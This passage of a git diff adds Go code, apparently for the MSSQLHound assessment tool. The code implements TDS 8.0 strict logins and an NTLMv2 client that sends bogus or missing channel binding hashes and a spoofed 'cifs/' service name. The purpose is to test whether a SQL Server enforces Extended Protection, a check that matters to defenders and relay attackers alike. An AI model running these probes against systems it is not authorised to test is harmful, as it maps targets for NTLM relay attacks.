+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ case tdsTokenEnvChange:
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ case tdsTokenDone, tdsTokenDoneProc:
+ if offset+12 <= len(data) {
+ offset += 12
+ } else {
+ return success, errorMsg
+ }
+
+ case tdsTokenSSPI:
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ default:
+ // Unknown token - try 2-byte length
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+ }
+ }
+
+ return success, errorMsg
+}
+
+// parseErrorToken extracts the error message text from a TDS ERROR token payload.
+// ERROR token format: Number(4) + State(1) + Class(1) + MsgTextLength(2) + MsgText(UTF16) + ...
+func parseErrorToken(data []byte) string {
+ if len(data) < 8 {
+ return ""
+ }
+ // Skip Number(4) + State(1) + Class(1) = 6 bytes
+ msgLen := int(binary.LittleEndian.Uint16(data[6:8]))
+ if 8+msgLen*2 > len(data) {
+ return ""
+ }
+ // Decode UTF-16LE message text
+ msgBytes := data[8 : 8+msgLen*2]
+ runes := make([]uint16, msgLen)
+ for i := 0; i < msgLen; i++ {
+ runes[i] = binary.LittleEndian.Uint16(msgBytes[i*2 : i*2+2])
+ }
+ return string(utf16.Decode(runes))
+}
+
+// runEPATestStrict performs an EPA test using the TDS 8.0 strict encryption flow.
+// In TDS 8.0, TLS is established directly on the TCP socket before any TDS messages
+// (like HTTPS), so PRELOGIN and all subsequent packets are sent through TLS.
+// This is used when the server has "Enforce Strict Encryption" enabled and rejects
+// cleartext PRELOGIN packets.
+func runEPATestStrict(ctx context.Context, config *EPATestConfig) (*epaTestOutcome, error) {
+ logf := func(format string, args ...interface{}) {
+ if config.Verbose {
+ fmt.Printf(" [EPA-debug] "+format+"\n", args...)
+ }
+ }
+
+ testModeNames := map[EPATestMode]string{
+ EPATestNormal: "Normal",
+ EPATestBogusCBT: "BogusCBT",
+ EPATestMissingCBT: "MissingCBT",
+ EPATestBogusService: "BogusService",
+ EPATestMissingService: "MissingService",
+ }
+
+ port := config.Port
+ if port == 0 {
+ port = 1433
+ }
+
+ logf("Starting EPA test mode=%s (TDS 8.0 strict) against %s:%d", testModeNames[config.TestMode], config.Hostname, port)
+
+ // TCP connect
+ addr := fmt.Sprintf("%s:%d", config.Hostname, port)
+ dialer := &net.Dialer{Timeout: 10 * time.Second}
+ conn, err := dialer.DialContext(ctx, "tcp", addr)
+ if err != nil {
+ return nil, fmt.Errorf("TCP connect to %s failed: %w", addr, err)
+ }
+ defer conn.Close()
+ conn.SetDeadline(time.Now().Add(30 * time.Second))
+
+ // Step 1: TLS handshake directly on TCP (TDS 8.0 strict)
+ // Unlike TDS 7.x where TLS records are wrapped in TDS PRELOGIN packets,
+ // TDS 8.0 does a standard TLS handshake on the raw socket.
+ tlsConn, err := performDirectTLSHandshake(conn, config.Hostname)
+ if err != nil {
+ return nil, fmt.Errorf("TLS handshake (strict): %w", err)
+ }
+ logf("TLS handshake complete (strict mode), cipher: 0x%04X", tlsConn.ConnectionState().CipherSuite)
+
+ // Step 2: Compute channel binding hash from TLS certificate
+ cbtHash, err := getChannelBindingHashFromTLS(tlsConn)
+ if err != nil {
+ return nil, fmt.Errorf("compute CBT: %w", err)
+ }
+ logf("CBT hash: %x", cbtHash)
+
+ // Step 3: Send PRELOGIN through TLS (in strict mode, all TDS traffic is inside TLS)
+ preloginPayload := buildPreloginPacket()
+ preloginTDS := buildTDSPacketRaw(tdsPacketPrelogin, preloginPayload)
+ if _, err := tlsConn.Write(preloginTDS); err != nil {
+ return nil, fmt.Errorf("send PRELOGIN (strict): %w", err)
+ }
+
+ preloginResp, err := readTLSTDSPacket(tlsConn)
+ if err != nil {
+ return nil, fmt.Errorf("read PRELOGIN response (strict): %w", err)
+ }
+
+ encryptionFlag, err := parsePreloginEncryption(preloginResp)
+ if err != nil {
+ logf("Could not parse encryption flag from strict PRELOGIN response: %v (continuing)", err)
+ } else {
+ logf("Server encryption flag (strict): 0x%02X", encryptionFlag)
+ }
+
+ // Step 4: Setup NTLM authenticator
+ spn := computeSPN(config.Hostname, port)
+ auth := newNTLMAuth(config.Domain, config.Username, config.Password, spn)
+ auth.SetEPATestMode(config.TestMode)
+ auth.SetChannelBindingHash(cbtHash)
+ logf("SPN: %s, Domain: %s, User: %s", spn, config.Domain, config.Username)
+
+ negotiateMsg := auth.CreateNegotiateMessage()
+ logf("Type1 negotiate message: %d bytes", len(negotiateMsg))
+
+ // Step 5: Build and send LOGIN7 with NTLM Type1 through TLS
+ login7 := buildLogin7Packet(config.Hostname, "MSSQLHound-EPA", config.Hostname, negotiateMsg)
+ login7TDS := buildTDSPacketRaw(tdsPacketLogin7, login7)
+ if _, err := tlsConn.Write(login7TDS); err != nil {
+ return nil, fmt.Errorf("send LOGIN7 (strict): %w", err)
+ }
+ logf("Sent LOGIN7 (%d bytes with TDS header) (strict)", len(login7TDS))
+
+ // Step 6: Read server response (NTLM Type2 challenge) - always through TLS
+ responseData, err := readTLSTDSPacket(tlsConn)
+ if err != nil {
+ return nil, fmt.Errorf("read challenge response (strict): %w", err)
+ }
+ logf("Received challenge response: %d bytes", len(responseData))
+
+ // Extract NTLM Type2 from SSPI token
+ challengeData := extractSSPIToken(responseData)
+ if challengeData == nil {
+ success, errMsg := parseLoginTokens(responseData)
+ logf("No SSPI token found, login result: success=%v, error=%q", success, errMsg)
+ return &epaTestOutcome{
+ Success: success,
+ ErrorMessage: errMsg,
+ IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"),
+ IsLoginFailed: strings.Contains(errMsg, "Login failed"),
+ }, nil
+ }
+ logf("Extracted NTLM Type2 challenge: %d bytes", len(challengeData))
+
+ // Step 7: Process challenge and generate Type3
+ if err := auth.ProcessChallenge(challengeData); err != nil {
+ return nil, fmt.Errorf("process NTLM challenge: %w", err)
+ }
+ logf("Server NetBIOS domain from Type2: %q (user-provided: %q)", auth.serverDomain, config.Domain)
+
+ authenticateMsg, err := auth.CreateAuthenticateMessage()
+ if err != nil {
+ return nil, fmt.Errorf("create NTLM authenticate: %w", err)
+ }
+ logf("Type3 authenticate message: %d bytes (mode=%s)", len(authenticateMsg), testModeNames[config.TestMode])
+
+ // Step 8: Send Type3 as TDS_SSPI through TLS
+ sspiTDS := buildTDSPacketRaw(tdsPacketSSPI, authenticateMsg)
+ if _, err := tlsConn.Write(sspiTDS); err != nil {
+ return nil, fmt.Errorf("send SSPI auth (strict): %w", err)
+ }
+ logf("Sent Type3 SSPI (%d bytes with TDS header) (strict)", len(sspiTDS))
+
+ // Step 9: Read final response through TLS
+ responseData, err = readTLSTDSPacket(tlsConn)
+ if err != nil {
+ return nil, fmt.Errorf("read auth response (strict): %w", err)
+ }
+ logf("Received auth response: %d bytes", len(responseData))
+
+ // Parse for LOGINACK or ERROR
+ success, errMsg := parseLoginTokens(responseData)
+ logf("Login result: success=%v, error=%q", success, errMsg)
+ return &epaTestOutcome{
+ Success: success,
+ ErrorMessage: errMsg,
+ IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"),
+ IsLoginFailed: strings.Contains(errMsg, "Login failed"),
+ }, nil
+}
+
+// readTLSTDSPacket reads a complete TDS packet through TLS.
+// When encryption is ENCRYPT_REQ, TDS packets are wrapped in TLS records.
+func readTLSTDSPacket(tlsConn net.Conn) ([]byte, error) {
+ // Read TDS header through TLS
+ hdr := make([]byte, tdsHeaderSize)
+ n := 0
+ for n < tdsHeaderSize {
+ read, err := tlsConn.Read(hdr[n:])
+ if err != nil {
+ return nil, fmt.Errorf("read TDS header through TLS: %w", err)
+ }
+ n += read
+ }
+
+ pktLen := int(binary.BigEndian.Uint16(hdr[2:4]))
+ if pktLen < tdsHeaderSize {
+ return nil, fmt.Errorf("TDS packet length %d too small", pktLen)
+ }
+
+ payloadLen := pktLen - tdsHeaderSize
+ var payload []byte
+ if payloadLen > 0 {
+ payload = make([]byte, payloadLen)
+ n = 0
+ for n < payloadLen {
+ read, err := tlsConn.Read(payload[n:])
+ if err != nil {
+ return nil, fmt.Errorf("read TDS payload through TLS: %w", err)
+ }
+ n += read
+ }
+ }
+
+ // Check if this is EOM
+ status := hdr[1]
+ if status&0x01 != 0 {
+ return payload, nil
+ }
+
+ // Read more packets until EOM
+ for {
+ moreHdr := make([]byte, tdsHeaderSize)
+ n = 0
+ for n < tdsHeaderSize {
+ read, err := tlsConn.Read(moreHdr[n:])
+ if err != nil {
+ return nil, err
+ }
+ n += read
+ }
+
+ morePktLen := int(binary.BigEndian.Uint16(moreHdr[2:4]))
+ morePayloadLen := morePktLen - tdsHeaderSize
+ if morePayloadLen > 0 {
+ morePay := make([]byte, morePayloadLen)
+ n = 0
+ for n < morePayloadLen {
+ read, err := tlsConn.Read(morePay[n:])
+ if err != nil {
+ return nil, err
+ }
+ n += read
+ }
+ payload = append(payload, morePay...)
+ }
+
+ if moreHdr[1]&0x01 != 0 {
+ break
+ }
+ }
+
+ return payload, nil
+}
diff --git a/go/internal/mssql/ntlm_auth.go b/go/internal/mssql/ntlm_auth.go
new file mode 100644
index 0000000..f06622e
--- /dev/null
+++ b/go/internal/mssql/ntlm_auth.go
@@ -0,0 +1,588 @@
+// Package mssql - NTLMv2 authentication with controllable AV_PAIRs for EPA testing.
+// Implements NTLM Type1/Type2/Type3 message generation with the ability to
+// add, remove, or modify MsvAvChannelBindings and MsvAvTargetName AV_PAIRs.
+package mssql
+
+import (
+ "crypto/hmac"
+ "crypto/md5"
+ "crypto/rand"
+ "crypto/sha256"
+ "crypto/tls"
+ "encoding/binary"
+ "fmt"
+ "strings"
+ "unicode/utf16"
+
+ "golang.org/x/crypto/md4"
+)
+
+// NTLM AV_PAIR IDs (MS-NLMP 2.2.2.1)
+const (
+ avIDMsvAvEOL uint16 = 0x0000
+ avIDMsvAvNbComputerName uint16 = 0x0001
+ avIDMsvAvNbDomainName uint16 = 0x0002
+ avIDMsvAvDNSComputerName uint16 = 0x0003
+ avIDMsvAvDNSDomainName uint16 = 0x0004
+ avIDMsvAvDNSTreeName uint16 = 0x0005
+ avIDMsvAvFlags uint16 = 0x0006
+ avIDMsvAvTimestamp uint16 = 0x0007
+ avIDMsvAvTargetName uint16 = 0x0009
+ avIDMsvChannelBindings uint16 = 0x000A
+)
+
+// NTLM negotiate flags
+const (
+ ntlmFlagUnicode uint32 = 0x00000001
+ ntlmFlagOEM uint32 = 0x00000002
+ ntlmFlagRequestTarget uint32 = 0x00000004
+ ntlmFlagSign uint32 = 0x00000010
+ ntlmFlagSeal uint32 = 0x00000020
+ ntlmFlagNTLM uint32 = 0x00000200
+ ntlmFlagAlwaysSign uint32 = 0x00008000
+ ntlmFlagDomainSupplied uint32 = 0x00001000
+ ntlmFlagWorkstationSupplied uint32 = 0x00002000
+ ntlmFlagExtendedSessionSecurity uint32 = 0x00080000
+ ntlmFlagTargetInfo uint32 = 0x00800000
+ ntlmFlagVersion uint32 = 0x02000000
+ ntlmFlag128 uint32 = 0x20000000
+ ntlmFlagKeyExch uint32 = 0x40000000
+ ntlmFlag56 uint32 = 0x80000000
+)
+
+// MsvAvFlags bit values
+const (
+ msvAvFlagMICPresent uint32 = 0x00000002
+)
+
+// NTLM message types
+const (
+ ntlmNegotiateType uint32 = 1
+ ntlmChallengeType uint32 = 2
+ ntlmAuthenticateType uint32 = 3
+)
+
+// EPATestMode controls what AV_PAIRs are included/excluded in the NTLM Type3 message.
+type EPATestMode int
+
+const (
+ // EPATestNormal includes correct CBT and service binding
+ EPATestNormal EPATestMode = iota
+ // EPATestBogusCBT includes incorrect CBT hash
+ EPATestBogusCBT
+ // EPATestMissingCBT excludes MsvAvChannelBindings AV_PAIR entirely
+ EPATestMissingCBT
+ // EPATestBogusService includes incorrect service name ("cifs")
+ EPATestBogusService
+ // EPATestMissingService excludes MsvAvTargetName and strips target service
+ EPATestMissingService
+)
+
+// ntlmAVPair represents a single AV_PAIR entry in NTLM target info.
+type ntlmAVPair struct {
+ ID uint16
+ Value []byte
+}
+
+// ntlmAuth handles NTLMv2 authentication with controllable EPA settings.
+type ntlmAuth struct {
+ domain string
+ username string
+ password string
+ targetName string // SPN e.g. MSSQLSvc/hostname:port
+
+ testMode EPATestMode
+ channelBindingHash []byte // 16-byte MD5 of SEC_CHANNEL_BINDINGS
+
+ // State preserved across message generation
+ negotiateMsg []byte
+ challengeMsg []byte // Raw Type2 bytes from server (needed for MIC computation)
+ serverChallenge [8]byte
+ targetInfoRaw []byte
+ negotiateFlags uint32
+ timestamp []byte // 8-byte FILETIME from server
+ serverDomain string // NetBIOS domain name from Type2 MsvAvNbDomainName (for NTLMv2 hash)
+}
+
+func newNTLMAuth(domain, username, password, targetName string) *ntlmAuth {
+ return &ntlmAuth{
+ domain: domain,
+ username: username,
+ password: password,
+ targetName: targetName,
+ testMode: EPATestNormal,
+ }
+}
+
+// SetEPATestMode configures how CBT and service binding are handled.
+func (a *ntlmAuth) SetEPATestMode(mode EPATestMode) {
+ a.testMode = mode
+}
+
+// SetChannelBindingHash sets the CBT hash computed from the TLS session.
+func (a *ntlmAuth) SetChannelBindingHash(hash []byte) {
+ a.channelBindingHash = hash
+}
+
+// CreateNegotiateMessage builds NTLM Type1 (Negotiate) message.
+func (a *ntlmAuth) CreateNegotiateMessage() []byte {
+ flags := ntlmFlagUnicode |
+ ntlmFlagOEM |
+ ntlmFlagRequestTarget |
+ ntlmFlagNTLM |
+ ntlmFlagAlwaysSign |
+ ntlmFlagExtendedSessionSecurity |
+ ntlmFlagTargetInfo |
+ ntlmFlagVersion |
+ ntlmFlag128 |
+ ntlmFlag56
+
+ // Minimal Type1: signature(8) + type(4) + flags(4) + domain fields(8) + workstation fields(8) + version(8)
+ msg := make([]byte, 40)
+ copy(msg[0:8], []byte("NTLMSSP\x00"))
+ binary.LittleEndian.PutUint32(msg[8:12], ntlmNegotiateType)
+ binary.LittleEndian.PutUint32(msg[12:16], flags)
+ // Domain Name Fields (empty)
+ // Workstation Fields (empty)
+ // Version: 10.0.20348 (Windows Server 2022)
+ msg[32] = 10 // Major
+ msg[33] = 0 // Minor
+ binary.LittleEndian.PutUint16(msg[34:36], 20348) // Build
+ msg[39] = 0x0F // NTLMSSP revision
+
+ a.negotiateMsg = make([]byte, len(msg))
+ copy(a.negotiateMsg, msg)
+ return msg
+}
+
+// ProcessChallenge parses NTLM Type2 (Challenge) and extracts server challenge,
+// flags, and target info AV_PAIRs.
+func (a *ntlmAuth) ProcessChallenge(challengeData []byte) error {
+ if len(challengeData) < 32 {
+ return fmt.Errorf("NTLM challenge too short: %d bytes", len(challengeData))
+ }
+
+ // Store raw challenge bytes for MIC computation (must use original bytes, not reconstructed)
+ a.challengeMsg = make([]byte, len(challengeData))
+ copy(a.challengeMsg, challengeData)
+
+ sig := string(challengeData[0:8])
+ if sig != "NTLMSSP\x00" {
+ return fmt.Errorf("invalid NTLM signature")
+ }
+
+ msgType := binary.LittleEndian.Uint32(challengeData[8:12])
+ if msgType != ntlmChallengeType {
+ return fmt.Errorf("expected NTLM challenge (type 2), got type %d", msgType)
+ }
+
+ // Server challenge at offset 24 (8 bytes)
+ copy(a.serverChallenge[:], challengeData[24:32])
+
+ // Negotiate flags at offset 20
+ a.negotiateFlags = binary.LittleEndian.Uint32(challengeData[20:24])
+
+ // Target info fields at offsets 40-47 (if present)
+ if len(challengeData) >= 48 {
+ targetInfoLen := binary.LittleEndian.Uint16(challengeData[40:42])
+ targetInfoOffset := binary.LittleEndian.Uint32(challengeData[44:48])
+
+ if targetInfoLen > 0 && int(targetInfoOffset)+int(targetInfoLen) <= len(challengeData) {
+ a.targetInfoRaw = make([]byte, targetInfoLen)
+ copy(a.targetInfoRaw, challengeData[targetInfoOffset:targetInfoOffset+uint32(targetInfoLen)])
+
+ // Extract timestamp and NetBIOS domain name from AV_PAIRs
+ pairs := parseAVPairs(a.targetInfoRaw)
+ for _, p := range pairs {
+ if p.ID == avIDMsvAvTimestamp && len(p.Value) == 8 {
+ a.timestamp = make([]byte, 8)
+ copy(a.timestamp, p.Value)
+ }
+ if p.ID == avIDMsvAvNbDomainName && len(p.Value) > 0 {
+ // Decode UTF-16LE domain name
+ a.serverDomain = decodeUTF16LE(p.Value)
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+// CreateAuthenticateMessage builds NTLM Type3 (Authenticate) message with
+// controllable AV_PAIRs based on the test mode.
+func (a *ntlmAuth) CreateAuthenticateMessage() ([]byte, error) {
+ if a.targetInfoRaw == nil {
+ return nil, fmt.Errorf("no target info available from challenge")
+ }
+
+ // Build modified target info with EPA-controlled AV_PAIRs
+ modifiedTargetInfo := a.buildModifiedTargetInfo()
+
+ // Generate client challenge (8 random bytes)
+ var clientChallenge [8]byte
+ if _, err := rand.Read(clientChallenge[:]); err != nil {
+ return nil, fmt.Errorf("generating client challenge: %w", err)
+ }
+
+ // Use server timestamp if available, otherwise generate one
+ timestamp := a.timestamp
+ if timestamp == nil {
+ timestamp = make([]byte, 8)
+ // Use a reasonable default timestamp
+ }
+
+ // Compute NTLMv2 hash using the server's NetBIOS domain name (from Type2 MsvAvNbDomainName)
+ // per MS-NLMP Section 3.3.2: "the client SHOULD use [MsvAvNbDomainName] for UserDom"
+ authDomain := a.domain
+ if a.serverDomain != "" {
+ authDomain = a.serverDomain
+ }
+ ntlmV2Hash := computeNTLMv2Hash(a.password, a.username, authDomain)
+
+ // Build the NtChallengeResponse blob
+ // Structure: ResponseType(1) + HiResponseType(1) + Reserved1(2) + Reserved2(4) +
+ // Timestamp(8) + ClientChallenge(8) + Reserved3(4) + TargetInfo + Reserved4(4)
+ blobLen := 28 + len(modifiedTargetInfo) + 4
+ blob := make([]byte, blobLen)
+ blob[0] = 0x01 // ResponseType
+ blob[1] = 0x01 // HiResponseType
+ // Reserved1 and Reserved2 are zero
+ copy(blob[8:16], timestamp)
+ copy(blob[16:24], clientChallenge[:])
+ // Reserved3 is zero
+ copy(blob[28:], modifiedTargetInfo)
+ // Reserved4 (trailing 4 zero bytes)
+
+ // Compute NTProofStr = HMAC_MD5(NTLMv2Hash, ServerChallenge + Blob)
+ challengeAndBlob := make([]byte, 8+len(blob))
+ copy(challengeAndBlob[:8], a.serverChallenge[:])
+ copy(challengeAndBlob[8:], blob)
+ ntProofStr := hmacMD5Sum(ntlmV2Hash, challengeAndBlob)
+
+ // NtChallengeResponse = NTProofStr + Blob
+ ntResponse := append(ntProofStr, blob...)
+
+ // Session base key = HMAC_MD5(NTLMv2Hash, NTProofStr)
+ sessionBaseKey := hmacMD5Sum(ntlmV2Hash, ntProofStr)
+
+ // LmChallengeResponse for NTLMv2 with target info: 24 zero bytes
+ lmResponse := make([]byte, 24)
+
+ // Build the authenticate flags
+ flags := ntlmFlagUnicode |
+ ntlmFlagRequestTarget |
+ ntlmFlagNTLM |
+ ntlmFlagAlwaysSign |
+ ntlmFlagExtendedSessionSecurity |
+ ntlmFlagTargetInfo |
+ ntlmFlagVersion |
+ ntlmFlag128 |
+ ntlmFlag56
+
+ // Build Type3 message (use same authDomain for consistency)
+ domain16 := encodeUTF16LE(authDomain)
+ user16 := encodeUTF16LE(a.username)
+ workstation16 := encodeUTF16LE("") // empty workstation
+
+ lmLen := len(lmResponse)
+ ntLen := len(ntResponse)
+ domainLen := len(domain16)
+ userLen := len(user16)
+ wsLen := len(workstation16)
+
+ // Header is 88 bytes (includes 16-byte MIC field)
+ headerSize := 88
+ totalLen := headerSize + lmLen + ntLen + domainLen + userLen + wsLen
+
+ msg := make([]byte, totalLen)
+ copy(msg[0:8], []byte("NTLMSSP\x00"))
+ binary.LittleEndian.PutUint32(msg[8:12], ntlmAuthenticateType)
+
+ offset := uint32(headerSize)
+
+ // LmChallengeResponse fields
+ binary.LittleEndian.PutUint16(msg[12:14], uint16(lmLen))
+ binary.LittleEndian.PutUint16(msg[14:16], uint16(lmLen))
+ binary.LittleEndian.PutUint32(msg[16:20], offset)
+ copy(msg[offset:], lmResponse)
+ offset += uint32(lmLen)
+
+ // NtChallengeResponse fields
+ binary.LittleEndian.PutUint16(msg[20:22], uint16(ntLen))
+ binary.LittleEndian.PutUint16(msg[22:24], uint16(ntLen))
+ binary.LittleEndian.PutUint32(msg[24:28], offset)
+ copy(msg[offset:], ntResponse)
+ offset += uint32(ntLen)
+
+ // Domain name fields
+ binary.LittleEndian.PutUint16(msg[28:30], uint16(domainLen))
+ binary.LittleEndian.PutUint16(msg[30:32], uint16(domainLen))
+ binary.LittleEndian.PutUint32(msg[32:36], offset)
+ copy(msg[offset:], domain16)
+ offset += uint32(domainLen)
+
+ // User name fields
+ binary.LittleEndian.PutUint16(msg[36:38], uint16(userLen))
+ binary.LittleEndian.PutUint16(msg[38:40], uint16(userLen))
+ binary.LittleEndian.PutUint32(msg[40:44], offset)
+ copy(msg[offset:], user16)
+ offset += uint32(userLen)
+
+ // Workstation fields
+ binary.LittleEndian.PutUint16(msg[44:46], uint16(wsLen))
+ binary.LittleEndian.PutUint16(msg[46:48], uint16(wsLen))
+ binary.LittleEndian.PutUint32(msg[48:52], offset)
+ copy(msg[offset:], workstation16)
+ offset += uint32(wsLen)
+
+ // Encrypted random session key fields (empty)
+ binary.LittleEndian.PutUint16(msg[52:54], 0)
+ binary.LittleEndian.PutUint16(msg[54:56], 0)
+ binary.LittleEndian.PutUint32(msg[56:60], offset)
+
+ // Negotiate flags
+ binary.LittleEndian.PutUint32(msg[60:64], flags)
+
+ // Version: 10.0.20348
+ msg[64] = 10
+ msg[65] = 0
+ binary.LittleEndian.PutUint16(msg[66:68], 20348)
+ msg[71] = 0x0F // NTLMSSP revision
+
+ // MIC (16 bytes at offset 72): compute over all three NTLM messages
+ // Must use the raw Type2 bytes from the server (not reconstructed)
+ // First zero it out (it's already zero), compute the MIC, then fill it in
+ mic := computeMIC(sessionBaseKey, a.negotiateMsg, a.challengeMsg, msg)
+ copy(msg[72:88], mic)
+
+ return msg, nil
+}
+
+// buildModifiedTargetInfo constructs the target info for the NtChallengeResponse
+// with AV_PAIRs added, removed, or modified per the EPATestMode.
+func (a *ntlmAuth) buildModifiedTargetInfo() []byte {
+ pairs := parseAVPairs(a.targetInfoRaw)
+
+ // Remove existing EOL, channel bindings, target name, and flags
+ // (we'll re-add them with our modifications)
+ var filtered []ntlmAVPair
+ for _, p := range pairs {
+ switch p.ID {
+ case avIDMsvAvEOL:
+ continue // will re-add at end
+ case avIDMsvChannelBindings:
+ continue // will add our own
+ case avIDMsvAvTargetName:
+ continue // will add our own
+ case avIDMsvAvFlags:
+ continue // will add our own with MIC flag
+ default:
+ filtered = append(filtered, p)
+ }
+ }
+
+ // Add MsvAvFlags with MIC present bit
+ flagsValue := make([]byte, 4)
+ binary.LittleEndian.PutUint32(flagsValue, msvAvFlagMICPresent)
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvFlags, Value: flagsValue})
+
+ // Add Channel Binding and Target Name based on test mode
+ switch a.testMode {
+ case EPATestNormal:
+ // Include correct CBT hash
+ if len(a.channelBindingHash) == 16 {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: a.channelBindingHash})
+ } else {
+ // No TLS = no CBT (empty 16-byte hash)
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: make([]byte, 16)})
+ }
+ // Include correct SPN
+ if a.targetName != "" {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)})
+ }
+
+ case EPATestBogusCBT:
+ // Include bogus 16-byte CBT hash
+ bogusCBT := []byte{0xc0, 0x91, 0x30, 0xd2, 0xc4, 0xc3, 0xd4, 0xc7, 0x51, 0x5a, 0xb4, 0x52, 0xdf, 0x08, 0xaf, 0xfd}
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: bogusCBT})
+ // Include correct SPN
+ if a.targetName != "" {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)})
+ }
+
+ case EPATestMissingCBT:
+ // Do NOT include MsvAvChannelBindings at all
+ // Include correct SPN
+ if a.targetName != "" {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)})
+ }
+
+ case EPATestBogusService:
+ // Include correct CBT (if available)
+ if len(a.channelBindingHash) == 16 {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: a.channelBindingHash})
+ } else {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: make([]byte, 16)})
+ }
+ // Include bogus service name (cifs instead of MSSQLSvc)
+ hostname := a.targetName
+ if idx := strings.Index(hostname, "/"); idx >= 0 {
+ hostname = hostname[idx+1:]
+ }
+ bogusTarget := "cifs/" + hostname
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(bogusTarget)})
+
+ case EPATestMissingService:
+ // Do NOT include MsvAvChannelBindings
+ // Do NOT include MsvAvTargetName
+ // (both stripped)
+ }
+
+ // Add EOL terminator
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvEOL, Value: nil})
+
+ return serializeAVPairs(filtered)
+}
+
+// parseAVPairs parses raw target info bytes into a list of AV_PAIRs.
+func parseAVPairs(data []byte) []ntlmAVPair {
+ var pairs []ntlmAVPair
+ offset := 0
+ for offset+4 <= len(data) {
+ id := binary.LittleEndian.Uint16(data[offset : offset+2])
+ length := binary.LittleEndian.Uint16(data[offset+2 : offset+4])
+ offset += 4
+
+ if id == avIDMsvAvEOL {
+ pairs = append(pairs, ntlmAVPair{ID: id})
+ break
+ }
+
+ if offset+int(length) > len(data) {
+ break
+ }
+
+ value := make([]byte, length)
+ copy(value, data[offset:offset+int(length)])
+ pairs = append(pairs, ntlmAVPair{ID: id, Value: value})
+ offset += int(length)
+ }
+ return pairs
+}
+
+// serializeAVPairs serializes AV_PAIRs back to bytes.
+func serializeAVPairs(pairs []ntlmAVPair) []byte {
+ var buf []byte
+ for _, p := range pairs {
+ b := make([]byte, 4+len(p.Value))
+ binary.LittleEndian.PutUint16(b[0:2], p.ID)
+ binary.LittleEndian.PutUint16(b[2:4], uint16(len(p.Value)))
+ copy(b[4:], p.Value)
+ buf = append(buf, b...)
+ }
+ return buf
+}
+
+// computeNTLMv2Hash computes NTLMv2 hash: HMAC-MD5(MD4(UTF16LE(password)), UTF16LE(UPPER(username) + domain))
+func computeNTLMv2Hash(password, username, domain string) []byte {
+ // NT hash = MD4(UTF16LE(password))
+ h := md4.New()
+ h.Write(encodeUTF16LE(password))
+ ntHash := h.Sum(nil)
+
+ // NTLMv2 hash = HMAC-MD5(ntHash, UTF16LE(UPPER(username) + domain))
+ identity := encodeUTF16LE(strings.ToUpper(username) + domain)
+ return hmacMD5Sum(ntHash, identity)
+}
+
+// computeMIC computes the MIC over all three NTLM messages using HMAC-MD5.
+func computeMIC(sessionBaseKey, negotiateMsg, challengeMsg, authenticateMsg []byte) []byte {
+ data := make([]byte, 0, len(negotiateMsg)+len(challengeMsg)+len(authenticateMsg))
+ data = append(data, negotiateMsg...)
+ data = append(data, challengeMsg...)
+ data = append(data, authenticateMsg...)
+ return hmacMD5Sum(sessionBaseKey, data)
+}
+
+// computeChannelBindingHash computes the MD5 hash of the SEC_CHANNEL_BINDINGS
+// structure for the MsvAvChannelBindings AV_PAIR.
+// The input is the DER-encoded TLS server certificate.
+func computeChannelBindingHash(certDER []byte) []byte {
+ // Compute certificate hash using SHA-256 (tls-server-end-point per RFC 5929)
+ certHash := sha256.Sum256(certDER)
+
+ // Build SEC_CHANNEL_BINDINGS structure:
+ // Initiator addr type (4 bytes): 0
+ // Initiator addr length (4 bytes): 0
+ // Acceptor addr type (4 bytes): 0
+ // Acceptor addr length (4 bytes): 0
+ // Application data length (4 bytes): len("tls-server-end-point:" + certHash)
+ // Application data: "tls-server-end-point:" + certHash
+
+ prefix := []byte("tls-server-end-point:")
+ appData := append(prefix, certHash[:]...)
+ appDataLen := len(appData)
+
+ // Total structure: 20 bytes header + 4 bytes app data length + app data
+ // Actually the SEC_CHANNEL_BINDINGS struct is:
+ // dwInitiatorAddrType (4) + cbInitiatorLength (4) +
+ // dwAcceptorAddrType (4) + cbAcceptorLength (4) +
+ // cbApplicationDataLength (4) = 20 bytes
+ // Followed by the application data
+
+ structure := make([]byte, 20+appDataLen)
+ // All initiator/acceptor fields are zero
+ binary.LittleEndian.PutUint32(structure[16:20], uint32(appDataLen))
+ copy(structure[20:], appData)
+
+ // MD5 hash of the entire structure
+ hash := md5.Sum(structure)
+ return hash[:]
+}
+
+// getChannelBindingHashFromTLS extracts the TLS server certificate and computes the CBT hash.
+func getChannelBindingHashFromTLS(tlsConn *tls.Conn) ([]byte, error) {
+ state := tlsConn.ConnectionState()
+ if len(state.PeerCertificates) == 0 {
+ return nil, fmt.Errorf("no server certificate in TLS connection")
+ }
+
+ certDER := state.PeerCertificates[0].Raw
+ return computeChannelBindingHash(certDER), nil
+}
+
+// computeSPN builds the Service Principal Name for NTLM service binding.
+func computeSPN(hostname string, port int) string {
+ return fmt.Sprintf("MSSQLSvc/%s:%d", hostname, port)
+}
+
+// hmacMD5Sum computes HMAC-MD5.
+func hmacMD5Sum(key, data []byte) []byte {
+ h := hmac.New(md5.New, key)
+ h.Write(data)
+ return h.Sum(nil)
+}
+
+// encodeUTF16LE encodes a string as UTF-16LE bytes.
+func encodeUTF16LE(s string) []byte {
